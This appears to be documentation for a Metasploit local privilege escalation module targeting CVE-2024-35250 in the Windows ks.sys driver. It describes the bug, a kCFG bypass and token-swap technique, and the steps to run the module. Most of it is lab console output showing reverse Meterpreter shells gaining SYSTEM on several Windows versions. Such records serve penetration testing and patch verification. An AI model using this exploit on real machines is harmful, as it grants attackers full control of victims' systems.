## Vulnerable Application
The ks.sys driver on Windows is one of the core components of Kernel Streaming and is installed by default. There exists
an Access Mode Mismatch LPE in this driver which can be exploited on some of the latest versions of Windows including:
- Windows 11 22H2,
- Windows 10 22H2
- Windows 10 1607
- Windows Server 2022
- Windows Server 2016

### About the Bug Class
Access Mode Mismatch bugs in the Windows kernel center around the PreviousMode member of the `KTHREAD` structure. Every
thread has a previous access mode associated with it. The PreviousMode is set to UserMode(1) if a user operates on a
device or file through Nt* System Service Call, indicating that the System Service call is from the user. The PreviousMode
is set to KernelMode(2) if for example a device driver invoking the Zw* System Service Call.

RequestorMode is a similar field in the I/O Request Packet (IRP) which indicates if the original request came from
KernelMode or UserMode. This commonly used field is typically derived from PreviousMode.

### About the Vulnerability
An application can use `IOCTL_KS_PROPERTY` to get or set properties, or to determine the properties supported by a KS
object. An application passes `IOCTL_KS_PROPERTY` to the `ks!KsSynchronousIoControlDevice` with a few parameters:
Major Code, Input Buffer, Input Buffer Length, Output Buffer, Output Buffer Length and Status Code. To improve
efficiency in `IOCTL_KS_PROPERTY` of Kernel Streaming, the requests `KSPROPERTY_TYPE_SERIALIZESET` and
`KSPROPERTY_TYPE_UNSERIALIZESET` are provided to allow users to operate on multiple properties in a single call.

The vulnerability stems from the driver's use of the function `ks!KsSynchronousIoControlDevice`. There are multiple calls
to this function throughout the driver which incorrectly hard code the RequestorMode parameter value KernelMode. The
vulnerable function `ks!KsSynchronousIoControlDevice` can be invoked by issuing a `KSPROPERTY_TYPE_UNSERIALIZESET` request
in which user controlled parameters are handled with KernelMode privileges specifically when the property is set to
`KSPROPSETID_DrmAudioStream`. This provides a primitive that allows users to perform arbitrary `IOCTL_KS_PROPERTY`
operations.

To achieve EoP with this primitive first kCFG must be bypassed. By using the legitimate function `RtlSetAllBits` from
ntoskrnl.exe, the arbitrary `IOCTL_KS_PROPERTY` operation can be turned into a arbitrary write primitive which can be used
to achieve EoP by whatever typical method the user prefers. This module uses the write primitive to replace the
current process token with a system token. Abusing token privileges is also an option.

### Setup

Install Windows 10 22H2 (before 10.0.19045.4529) on any HyperVisor other than Hyper-V. Hyper-V does not have an audio
device by default, causing the exploit to fail.

## Verification Steps

1. Start msfconsole
1. Get a user level session on an affected Windows machine
1. Do: `use windows/local/cve_2024_35250_ks_driver`
1. Set the `LHOST`, `LPORT`, and `SESSION` options
1. Run the module
1. Receive a session running in the context of the `NT AUTHORITY\SYSTEM` user.

## Scenarios
### Windows 10 22H2 (10.0 Build 19045)
```
msf exploit(windows/local/cve_2024_35250_ks_driver) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.123.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows 10+ Build 19045
[*] Launching notepad to   host the exploit...
[*] The notepad path is: C:\Windows\System32\notepad.exe
[*] The notepad pid is: 1012
[*] Reflectively injecting the DLL into 1012...
[*] Sending stage (201798 bytes) to 192.168.123.236
[*] Meterpreter session 3 opened (192.168.123.1:5555 -> 192.168.123.236:49676) at 2024-11-04 09:47:50 -0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-0OPTL76
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
```

### Windows 10 1607 (10.0 Build 14393)
```
msf exploit(windows/local/cve_2024_35250_ks_driver) > run

[*] Started reverse TCP handler on 192.168.123.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows 10+ Build 14393
[*] Launching notepad to host the exploit...
[*] The notepad path is: C:\Windows\System32\notepad.exe
[*] The notepad pid is: 4272
[*] Reflectively injecting the DLL into 4272...
[*] Sending stage (201798 bytes) to 192.168.123.240
[*] Meterpreter session 5 opened (192.168.123.1:5555 -> 192.168.123.240:49675) at 2024-11-05 10:19:30 -0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-4A5TFR5
OS              : Windows 10 (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >
```

### Windows 11 22H2 (10.0 Build 22621)
```
msf exploit(windows/local/cve_2024_35250_ks_driver) > run

[*] Started reverse TCP handler on 192.168.123.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows 10+ Build 22621
[*] Launching notepad to host the exploit...
[*] The notepad path is: C:\Windows\System32\notepad.exe
[*] The notepad pid is: 6948
[*] Reflectively injecting the DLL into 6948...
[*] Sending stage (201798 bytes) to 192.168.123.1
[*] Meterpreter session 7 opened (192.168.123.1:5555 -> 192.168.123.1:52543) at 2024-11-04 11:22:59 -0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : MSFDEVICE
OS              : Windows 11 (10.0 Build 22621).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >
```

### Windows Server 2022 (10.0 Build 20348)
```
msf exploit(windows/local/cve_2024_35250_ks_driver) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 172.16.199.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows Server 2016+ Build 20348
[*] Launching notepad to host the exploit...
[*] The notepad path is: C:\Windows\System32\notepad.exe
[*] The notepad pid is: 7336
[*] Reflectively injecting the DLL into 7336...
[*] Sending stage (201798 bytes) to 172.16.199.132
[*] Meterpreter session 3 opened (172.16.199.1:5555 -> 172.16.199.132:49977) at 2024-11-05 10:03:36 -0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-LBHI5KSJDU4
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter >
```

### Windows Server 2016 (10.0 Build 14393)
```
msf exploit(windows/local/cve_2024_35250_ks_driver) > run

[*] Started reverse TCP handler on 172.16.199.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows Server 2016+ Build 14393
[*] Launching notepad to host the exploit...
[*] The notepad path is: C:\Windows\System32\notepad.exe
[*] The notepad pid is: 316
[*] Reflectively injecting the DLL into 316...
[*] Sending stage (201798 bytes) to 172.16.199.135
[*] Meterpreter session 7 opened (172.16.199.1:5555 -> 172.16.199.135:49691) at 2024-11-05 13:48:17 -0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-4DS9S9C0JSC
OS              : Windows Server 2016 (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter >
```

